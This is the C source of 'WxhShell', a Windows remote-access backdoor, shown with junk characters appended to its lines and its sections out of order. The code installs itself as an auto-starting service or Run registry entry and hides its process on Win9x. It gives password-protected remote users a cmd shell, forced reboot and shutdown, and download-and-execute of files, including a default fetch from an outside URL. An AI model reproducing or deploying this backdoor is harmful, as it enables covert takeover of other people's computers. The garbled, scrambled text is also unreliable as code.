    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zEd0Tmt  
    else { q qpgy7  
    closesocket(wsh); PD&\LbuG  
    ExitThread(0); u<3HQ.:;  
    } OMWbZ>jB  
    break; WG N=Y~E  
    } d F9!G;V  
  // 获取shell CdasP9"1  
  case 's': { P<l&0dPO8  
    CmdShell(wsh); t]y D-3'l&  
    closesocket(wsh); {5%5}[/x  
    ExitThread(0); %\D)u8}  
    break;  ud xZ0  
  } QrB@cK]  
  // 退出 KM}f:_J*lg  
  case 'x': { qfL~Wp2E;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ge-CY  
    CloseIt(wsh); tk!t Y8j  
    break; TD'L'm|2  
    } aGJC1x  
  // 离开 lG4H:[5V  
  case 'q': { tw^,G(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :*ing  
    closesocket(wsh); 0y 7"SiFY  
    WSACleanup(); -BRc8 /  
    exit(1); bSfpbo4(  
    break; ]l1\? I  
        } a:"Uh**  
  } ^* J2'X38I  
  } S0~2{ G"v  
=U#dJ^4P  
  // 提示信息 CK,7^U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _d"b;4l  
} ^HV>`Pjd}=  
  } (eCJ;%%k  
}`W){]{k O  
  return; J6U$qi  
} \R|4( +]x  
HG+%HUO$  
// shell模块句柄 ]bj&bk#  
int CmdShell(SOCKET sock) .q `Hjmg<  
{ Xe<sJ. &Wf  
STARTUPINFO si; ]$Yvj!K*Q  
ZeroMemory(&si,sizeof(si)); Fs{x(_LOr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q;<h[b?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~i~7 n a|  
PROCESS_INFORMATION ProcessInfo; E=e*VEjy  
char cmdline[]="cmd"; l^|UCgRn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Sz^ veh?  
  return 0; @\|_  
} R_sr?V|"  
`8^TTQ  
// 自身启动模式 CjlKMbnBH  
int StartFromService(void) h3bff#<K  
{ 7NDr1Z#B6V  
typedef struct ~-EOjX(X'E  
{ K[ (NTp$E  
  DWORD ExitStatus; <F}_ /q1  
  DWORD PebBaseAddress; 5Yl <h)1  
  DWORD AffinityMask; RoU55mL  
  DWORD BasePriority; #9X70|f  
  ULONG UniqueProcessId; /LO -HnJ  
  ULONG InheritedFromUniqueProcessId; o Z%9_$Z  
}   PROCESS_BASIC_INFORMATION; a^`rtvT  
3 ):A   
PROCNTQSIP NtQueryInformationProcess; NF+iza;DP  
y^%n'h{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?YZ- P{rTS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =at@Vp/y  
JBJhG<J  
  HANDLE             hProcess; W_kHj}dj,p  
  PROCESS_BASIC_INFORMATION pbi; kPVO?uO  
LL2=&VK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UD8op]>L  
  if(NULL == hInst ) return 0; `&D|>tiz  
GM3f- \/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cm?\ -[cV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J@4Bf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xYmxc9)2  
,=Mt`aN  
  if (!NtQueryInformationProcess) return 0; |QU <e  
} \XfH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `}mcEl  
  if(!hProcess) return 0; K Pt5=a  
byT h/H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oJ4 AIQjB  
@&1ZB6OCb:  
  CloseHandle(hProcess); "br,/Dk>MX  
pL{U `5S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |962G1.  
if(hProcess==NULL) return 0; ]`kmjn  
!Cr(P e]  
HMODULE hMod; $4/yZaVb  
char procName[255]; MhR:c7,  
unsigned long cbNeeded; *.!Np9l,V  
Fxm$9(Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1UE6 4Kl:S  
dYL"h.x  
  CloseHandle(hProcess); (+B5|_xQu  
=>M^02"  
if(strstr(procName,"services")) return 1; // 以服务启动 r7b1-  
5*1D$mxD"  
  return 0; // 注册表启动 C}_ ojcR  
} hRs&t,{&  
 CCL   
// 主模块 QKr,g  
int StartWxhshell(LPSTR lpCmdLine) ^~3SSLS4"  
{ r]b_@hT',  
  SOCKET wsl; ~S8*t~  
BOOL val=TRUE; !t gi  
  int port=0; > U%gctIg  
  struct sockaddr_in door; i'#E )  
y *fDwd~  
  if(wscfg.ws_autoins) Install(); \3pc"^W  
H[S%J3JI  
port=atoi(lpCmdLine); qYlhlHD  
T~Gvp0r}h  
if(port<=0) port=wscfg.ws_port; k} |   
#MRMNL@   
  WSADATA data; )pq;*~ IBI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,M^P!  
l]8D7(g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m+lvl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vSi.txV2  
  door.sin_family = AF_INET; 5 N#3a0)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )?X-(4  
  door.sin_port = htons(port); k +H3Bq  
(=* cK-3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R,pX:H&#+  
closesocket(wsl); O"F_*  
return 1; k3) dEH1z  
} mg*qiScfW  
UFp,a0|  
  if(listen(wsl,2) == INVALID_SOCKET) { oxz OA  
closesocket(wsl); x "^Xj]-  
return 1; P] UJ0b  
} "4uS3h2r  
  Wxhshell(wsl); $`)/0{qY-  
  WSACleanup(); ug+io mZ  
MLRK74D  
return 0; 0tEYU:Qu  
`C$:Yf]%nG  
} ;#oie< Vit  
`Ye\p6v!+  
// 以NT服务方式启动 <8d^^0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UrYZ` J  
{ QlO0qbG[y  
DWORD   status = 0; RPE5K:P  
  DWORD   specificError = 0xfffffff; vK _?<>  
a hR ^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A-T]9f9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2JJ"O|Ibz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V3c l~  
  serviceStatus.dwWin32ExitCode     = 0; Ah k8  
  serviceStatus.dwServiceSpecificExitCode = 0; E#u l IgD  
  serviceStatus.dwCheckPoint       = 0; }Ub6eXf(2  
  serviceStatus.dwWaitHint       = 0; %jJ>x3$F  
9hOJvQ2U]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fO0XA"=  
  if (hServiceStatusHandle==0) return; +eFFSt  
y5do1Z  
status = GetLastError(); <iH`rP#  
  if (status!=NO_ERROR) ^OstR`U3  
{ 2\7`/,U6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :k.NbN$i\  
    serviceStatus.dwCheckPoint       = 0; ML( E o  
    serviceStatus.dwWaitHint       = 0; L:1^Kxg  
    serviceStatus.dwWin32ExitCode     = status; z#]Jv!~EPE  
    serviceStatus.dwServiceSpecificExitCode = specificError; v(EEG/~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (&+kl q  
    return; RV5n,J  
  } uWM{JEOl  
8;Yx<woR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; { T-'t/0e(  
  serviceStatus.dwCheckPoint       = 0; Gcig*5   
  serviceStatus.dwWaitHint       = 0; BbgnqzU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N1|$$9G+  
} ZE2$I^DY-  
0IfKJ*]M  
// 处理NT服务事件,比如:启动、停止 jC7&s$>Q"g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IFDZfx  
{ AO=h 23ZI  
switch(fdwControl) *T~Ve;3h;  
{ }MHCd)78b  
case SERVICE_CONTROL_STOP: mw='dFt  
  serviceStatus.dwWin32ExitCode = 0; $ep.-I>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O }(VlR2  
  serviceStatus.dwCheckPoint   = 0; ^V#@QPK9  
  serviceStatus.dwWaitHint     = 0; lsy?Ac  
  { t=-SH^$SR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1$%V{4bJ  
  } ^sVX)%  
  return; 4)U.5FBk )  
case SERVICE_CONTROL_PAUSE: ?84 s4BpV1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,ztI,1"k  
  break; [BT/~6ovrZ  
case SERVICE_CONTROL_CONTINUE: Qt/8r*Oe  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3 AsT  
  break; unBy&?&p  
case SERVICE_CONTROL_INTERROGATE: A` AaTP  
  break; %5A+V0D0'  
}; dO4{|(z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AiK  
} jSwf*u  
;ByOth|9P  
// 标准应用程序主函数 /6h(6 *JI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CC@.MA@9N  
{ Xt#4/>dlR  
qt;y2gf=  
// 获取操作系统版本 Hrzf'a|^  
OsIsNt=GetOsVer(); #_(jS+lP?k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5JLu2P  
`$B3X  
  // 从命令行安装 :@!ic<p  
  if(strpbrk(lpCmdLine,"iI")) Install(); l?Fb ='#  
qfK`MhA}  
  // 下载执行文件 &d5ia+ #  
if(wscfg.ws_downexe) { tWoh''@#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GF5^\Rf  
  WinExec(wscfg.ws_filenam,SW_HIDE); T9u<p=p  
} QNxl/y\l0  
$.GOZqMs  
if(!OsIsNt) { ;Hj~n+  
// 如果时win9x,隐藏进程并且设置为注册表启动 bf!M#QOk?  
HideProc(); H)>;/#!r-  
StartWxhshell(lpCmdLine); sH?/E6  
} FN%m0"/Z{t  
else y !!E\b=  
  if(StartFromService()) E Kz'&Gu  
  // 以服务方式启动 ^pe{b9c  
  StartServiceCtrlDispatcher(DispatchTable); +{L<? "  
else YBP:q2H  
  // 普通方式启动 K!]1oy'V  
  StartWxhshell(lpCmdLine); N1}={yF.fQ  
Vw&HVo  
return 0; =?s 3iP  
} Jte#ZnP  
vMs$ceq  
[g Z"a*  
y(=#WlK }  
=========================================== L0tAgW!@  
3neIR@W  
0#YX=vjX7  
$LLA,?;!  
t6A:Z mG_  
j~e;DO  
" ]/B$br'O{?  
S:x?6IDPC^  
#include <stdio.h> f}@jFhr'<  
#include <string.h> (<Th=Fns?  
#include <windows.h> QtJg ^2@  
#include <winsock2.h> *s>BG1$<  
#include <winsvc.h> 't9hXzAfW  
#include <urlmon.h> Myq5b`z  
o,!T2&}  
#pragma comment (lib, "Ws2_32.lib") eU N"w,@y  
#pragma comment (lib, "urlmon.lib") acw4B5]  
3,Q^& 1  
#define MAX_USER   100 // 最大客户端连接数 2d {y M(=(  
#define BUF_SOCK   200 // sock buffer sqS=qC  
#define KEY_BUFF   255 // 输入 buffer fz3 lV  
~35U]s@v  
#define REBOOT     0   // 重启 yin'vgQ  
#define SHUTDOWN   1   // 关机 ?l$Nf@-  
7zv1 wb  
#define DEF_PORT   5000 // 监听端口 viAMr"z  
jOyvDY9\  
#define REG_LEN     16   // 注册表键长度 PGARXw+  
#define SVC_LEN     80   // NT服务名长度  ^_%kE%I  
j* *s^Sg  
// 从dll定义API N?m0US u*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); if]Noe  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PT5AA8F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bug Ot7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gt7VxZ  
]Bm>-*@0N  
// wxhshell配置信息 QZ?=M@|f  
struct WSCFG { W.1As{  
  int ws_port;         // 监听端口 C^z\([k0er  
  char ws_passstr[REG_LEN]; // 口令 *k1<: @%e  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7oR:1DX w|  
  char ws_regname[REG_LEN]; // 注册表键名 ) 9oH,gZ  
  char ws_svcname[REG_LEN]; // 服务名 )#}mH@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KPpHwcYxT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DtEwW1J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $L2%u8}8:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \xUe/=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q;:6_Qr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B: \Uw|Mf  
f(eQ+0D  
}; nWvuaQ0}  
V&|!RxWK  
// default Wxhshell configuration IB`>'~s&A  
struct WSCFG wscfg={DEF_PORT, "aFhkPdWn  
    "xuhuanlingzhe", LsM7hLy  
    1, F>X-w+b4r  
    "Wxhshell", 5&f{1M6l>  
    "Wxhshell", P/ oXDI8  
            "WxhShell Service", tWdhDt8$&  
    "Wrsky Windows CmdShell Service", Fbp{,V@F2  
    "Please Input Your Password: ", 07/L}b`P  
  1, Y=T'WNaL)0  
  "http://www.wrsky.com/wxhshell.exe", ZK'-U,Y.H7  
  "Wxhshell.exe" 0iZGPe~  
    }; kpI{KISQu  
\M"UmSB o  
// 消息定义模块 olW|$?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6ITLGA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]O:N-Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >z`,ch6~  
char *msg_ws_ext="\n\rExit."; 34QfgMyH  
char *msg_ws_end="\n\rQuit."; }elH75[64  
char *msg_ws_boot="\n\rReboot..."; nSCWg=E^  
char *msg_ws_poff="\n\rShutdown..."; yt+}K)Hz  
char *msg_ws_down="\n\rSave to "; Ji;mHFZ*FU  
0gn@h/F2%  
char *msg_ws_err="\n\rErr!"; pfd#N[c  
char *msg_ws_ok="\n\rOK!"; }N*>QR5K  
L@^~N$G&u  
char ExeFile[MAX_PATH]; w~@-9<^K]v  
int nUser = 0; (.Lrmf@hI7  
HANDLE handles[MAX_USER]; lZQ /W:OE  
int OsIsNt; $oLU; q%  
%ObD2)s6:^  
SERVICE_STATUS       serviceStatus; 3[XQR8o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h)v^q: ='  
^MmC$U^n  
// 函数声明 %Z8vdU#l  
int Install(void); !%Y~~'5 h  
int Uninstall(void); dxj*Q "K  
int DownloadFile(char *sURL, SOCKET wsh);  j4R 4H;  
int Boot(int flag); %o}(sShS  
void HideProc(void); {NCF6M k  
int GetOsVer(void); <g9"Cr`  
int Wxhshell(SOCKET wsl); 8)VgS &B~  
void TalkWithClient(void *cs); c[ht`!P  
int CmdShell(SOCKET sock); 3g~^LZ66  
int StartFromService(void); QI_59f>  
int StartWxhshell(LPSTR lpCmdLine); ]/T -t1D  
ofW+_DKB?l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h~7,`fo  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); htPqT,L  
^I]{7$6^  
// 数据结构和表定义 #' hLb  
SERVICE_TABLE_ENTRY DispatchTable[] = a9~"3y  
{ :h:@o h_=  
{wscfg.ws_svcname, NTServiceMain}, (XH2Sy  
{NULL, NULL} )uLr?$qe  
}; 9B +wYJp  
M)cGz$Q|  
// 自我安装 /dDzZ%/@  
int Install(void) E-1"+p  
{ A.Bk/N1G  
  char svExeFile[MAX_PATH]; IwpbfZ  
  HKEY key; -iCcoA  
  strcpy(svExeFile,ExeFile); &D#+6M&LK{  
+[m8c){  
// 如果是win9x系统,修改注册表设为自启动 iQ^: ])m>  
if(!OsIsNt) { <3hA!$o~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K<v:-TjQZ:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,PWj_}|L[  
  RegCloseKey(key); *wi}>_\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3hq1yyec  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~k'V*ERNSj  
  RegCloseKey(key); >m_v5K  
  return 0; &2EBk=X  
    } nE y]`  
  } tk/`%Q  
} *(cU]NUH_  
else { YYRT.U'  
!ax;5@J  
// 如果是NT以上系统,安装为系统服务 ^t'3rft  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &k T"oK  
if (schSCManager!=0) Y(GN4@`S  
{ |xr32g s  
  SC_HANDLE schService = CreateService uv4 _:   
  ( !k~z5z'=py  
  schSCManager, F?Or;p5`Y  
  wscfg.ws_svcname, (OQ?<'Qa  
  wscfg.ws_svcdisp, sXl ??UGe  
  SERVICE_ALL_ACCESS, 'nK~'PZ,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PdY>#Cyh  
  SERVICE_AUTO_START, ^ua12f  
  SERVICE_ERROR_NORMAL, +zWrLf_Rc  
  svExeFile, @XOi62(  
  NULL, G+)?^QTn  
  NULL, YDiN^q7  
  NULL, {@M14)-x>_  
  NULL, FQf #*  
  NULL Xy#V Q{!  
  ); JZ`L%  
  if (schService!=0) N_C_O$j  
  { <?$kI>Ot  
  CloseServiceHandle(schService); H?}wl%  
  CloseServiceHandle(schSCManager); Fc0jQ@4=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J"[3~&em  
  strcat(svExeFile,wscfg.ws_svcname); =8{*@>CX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8.I9}_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  SNvb1&  
  RegCloseKey(key); =LZ>s u  
  return 0; 2/tb6' =  
    } 2H&{1f\Bf  
  } p27p~b&  
  CloseServiceHandle(schSCManager); |*Ot/TvG  
} \Tq "mw9P  
} kqB\xlS7k  
Ku3!*n_\  
return 1; Kj*m r%IaU  
} 4`mO+.za1  
Rlw9$/D!Z  
// 自我卸载 g'G8 3F  
int Uninstall(void) X Usy.l/  
{ GqjO>v fy  
  HKEY key; *1;23BiH-  
n0.8)=;2  
if(!OsIsNt) { ?~qC,N[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  b~!om  
  RegDeleteValue(key,wscfg.ws_regname); 6H;kJHn  
  RegCloseKey(key); 'P/taEi=R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tL8't]M,  
  RegDeleteValue(key,wscfg.ws_regname); g)M#{"H  
  RegCloseKey(key); w2 )/mSnu  
  return 0; 5X;?I/9  
  } DyI2Ye  
} $DV-Ieb  
} fH!=Zb_{8  
else { a R#Cot  
'?R=P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nx :)k-p_[  
if (schSCManager!=0) I2*oTUSik  
{ |p'i,.(c_W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K%<GU1]-]  
  if (schService!=0) d2ofxfpg+  
  { /:6Q.onmLn  
  if(DeleteService(schService)!=0) { $f(agG]  
  CloseServiceHandle(schService); G4yUC<TqBP  
  CloseServiceHandle(schSCManager); 5 TET<f6R  
  return 0; &V;x 4  
  } sUda   
  CloseServiceHandle(schService); B_@7IbB  
  } 6 ZHv,e`?  
  CloseServiceHandle(schSCManager); |Y4q+sDW  
} dKe@JQ+-z  
} x=3I)}J(kn  
Ij$)RSPtH  
return 1; ]xB6cPdLu  
} {Vl"m 2  
SbJh(V-pr  
// 从指定url下载文件 ]1Qi=2'  
int DownloadFile(char *sURL, SOCKET wsh) ;5RIwD  
{ ;7 "Y?*{  
  HRESULT hr; oF&IC j0  
char seps[]= "/"; Z`"n:'&  
char *token; Rc%PZ}es  
char *file; fSC.+,qk  
char myURL[MAX_PATH]; lDU#7\5.  
char myFILE[MAX_PATH]; ,A?v,Fs>O[  
7n>|D^  
strcpy(myURL,sURL); Gavkil  
  token=strtok(myURL,seps); .ftUhg  
  while(token!=NULL) J<-Fua^  
  { WV~SL/k|   
    file=token; HtS#_y%(  
  token=strtok(NULL,seps); M[vCpa  
  } _pW 'n=}R  
@_uFX!;  
GetCurrentDirectory(MAX_PATH,myFILE); V"U~Q=`K  
strcat(myFILE, "\\"); `NoCH[$!+  
strcat(myFILE, file); }amE6  
  send(wsh,myFILE,strlen(myFILE),0); Z[bv0Pr  
send(wsh,"...",3,0); ,m"l\jP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); " V/k<HRw  
  if(hr==S_OK) _6 /Qp`s  
return 0; R_~F6O^EO  
else C0f[eA  
return 1; TQ2i{e  
$WM8tF?H  
} `bi k/o=%  
2q$X>ImI$  
// 系统电源模块 1[# =,  
int Boot(int flag) tdb4?^.s  
{ fIlIH  
  HANDLE hToken; `v<f}  
  TOKEN_PRIVILEGES tkp; 3V!W@[ }:  
@hBx, `H^  
  if(OsIsNt) { \ /sF:~=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t>-XT|lV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5\5~L  
    tkp.PrivilegeCount = 1; o+R. u}|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  1dXh\r_n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9`E-dr9  
if(flag==REBOOT) { ;?#i]Bh>S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  aeQ{_SK  
  return 0; {bxhH)a'  
} UFJEs[?+Te  
else { _4g}kL02.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hkL w&;WJr  
  return 0; cRPr9LfD@  
} u'{sB5_H  
  } *Y^5M"AB_  
  else { M!{Rq1M  
if(flag==REBOOT) { EywZIw?mjX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rHR5,N:  
  return 0; CcbWW4 )  
} rjt O`Mt`  
else { Y}*Ctdrl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M~#5/eRX  
  return 0; x%ZiE5#  
} `~sf}S :  
} '$lw[1  
d9ZDpzx B  
return 1; V}p*HB@:  
} 9n-RXVL+  
chMt5L+5  
// win9x进程隐藏模块 69[w/\  
void HideProc(void) `z5v}T  
{  #=>kw^5  
vs* _;vx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A/ r;;S)%2  
  if ( hKernel != NULL ) I*%&)Hj~  
  { gDgP;i d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); CA'hvXb.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P2s^=J0@  
    FreeLibrary(hKernel); `7+tPbjs  
  } CAcOWwDm  
sz){uOI  
return; q|m#IVc  
} 0R.Gjz*Q  
ntd ":BKi  
// 获取操作系统版本 Nj"_sA p  
int GetOsVer(void) ZzSJm+&'  
{ !NQf< ch  
  OSVERSIONINFO winfo; GIJV;7~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C%qtCk_cN  
  GetVersionEx(&winfo); `V$cz88b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZhxfI?i)l  
  return 1; =rE `ib  
  else $=QNGC2+  
  return 0; im_0ur&'  
} -uS7~Ww.a  
Zz wZ, (  
// 客户端句柄模块 % DHP  
int Wxhshell(SOCKET wsl) $Ykp8u,(  
{ +X4ttv  
  SOCKET wsh; Xb8:*Y1'  
  struct sockaddr_in client; Q|zE@nLS  
  DWORD myID; C]{V%jU  
E$oA+n~  
  while(nUser<MAX_USER) _,Io(QS  
{ gb^UFD L  
  int nSize=sizeof(client); 70I4-[/z[d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A_8`YN"Xk  
  if(wsh==INVALID_SOCKET) return 1; k N uN4/  
$/-wgyP3m+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gDjd{+LUo  
if(handles[nUser]==0) f^>lObvd  
  closesocket(wsh); UwzE'#Q-  
else X_EC:GU  
  nUser++; =!Baz&#}  
  } gs)%.k[BqG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GHJQ d&G8G  
jtlDSf#  
  return 0; fNmG`Ke  
} %K/G+  
0VWCm( f-  
// 关闭 socket C=pPI  
void CloseIt(SOCKET wsh) ^.B `Z{Jb  
{ )yz9? ]a  
closesocket(wsh); J_)z:`[yE  
nUser--; ! S$oaCxM  
ExitThread(0); $e^ :d  
} M2;(+8 b  
,T1XX2? :  
// 客户端请求句柄 ~P_d0A~T  
void TalkWithClient(void *cs) /(z0I.yE  
{ [0%Gu 5_\  
p'9 V. _h  
  SOCKET wsh=(SOCKET)cs; @O*ev| o@x  
  char pwd[SVC_LEN]; UC<[z#]\;  
  char cmd[KEY_BUFF]; [M zc^I&  
char chr[1]; vX!dMJa0  
int i,j; ML9T (th6v  
yQQDGFTb!=  
  while (nUser < MAX_USER) { n=Z[w5  
GurE7J^=  
if(wscfg.ws_passstr) { 5i wikC=y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cWy*K4O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :)3$&QdHT  
  //ZeroMemory(pwd,KEY_BUFF); x X=IMM3  
      i=0; Dk. 9&9mz  
  while(i<SVC_LEN) { eUUD|U*b   
j)SgB7Q  
  // 设置超时 { <ao4w6B  
  fd_set FdRead; "ZK5P&d  
  struct timeval TimeOut;  *<h  
  FD_ZERO(&FdRead); <8xP-(wk;  
  FD_SET(wsh,&FdRead); N!4xP.Ps  
  TimeOut.tv_sec=8; _<' kzOj  
  TimeOut.tv_usec=0; Aj)< 8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }Rf :DmPE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "Ee/q:`  
c`N`x U+z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BIB>U W  
  pwd=chr[0]; o^"d2=  
  if(chr[0]==0xd || chr[0]==0xa) { 7l|>  
  pwd=0; 8aIf{(/k  
  break; N#6A>  
  } H)}1xQ{3F  
  i++; gQcr'[[a  
    } Qak@~b  
F|3FvxA  
  // 如果是非法用户,关闭 socket z$im4'\c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u=UM^C!  
} KzH}5:qI  
{G*:N[pJp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E0?\DvA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eG)/&zQ8  
R?e7#HsJ  
while(1) { cB"F1~z  
o3[sF  
  ZeroMemory(cmd,KEY_BUFF); 7g<`w LAH  
{XUfxNDf  
      // 自动支持客户端 telnet标准   J?=Ob?+ _  
  j=0; pQ2)M8 gf  
  while(j<KEY_BUFF) { Pc-8L]2oaF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qt&"cw  
  cmd[j]=chr[0]; JSZ j0_ B  
  if(chr[0]==0xa || chr[0]==0xd) { 5FR#_}k]_F  
  cmd[j]=0; \?ws0Ax  
  break; X52jqXjg  
  } 4lKbw4[a  
  j++; J5_ qqD)  
    } &CP@] pi9L  
.g`*cDW^=  
  // 下载文件 :phD?\!w8t  
  if(strstr(cmd,"http://")) { %a6]gsiv2<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9P >S[=  
  if(DownloadFile(cmd,wsh)) OL9C #er  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =$z$VbBv  
  else s&_O2(l  
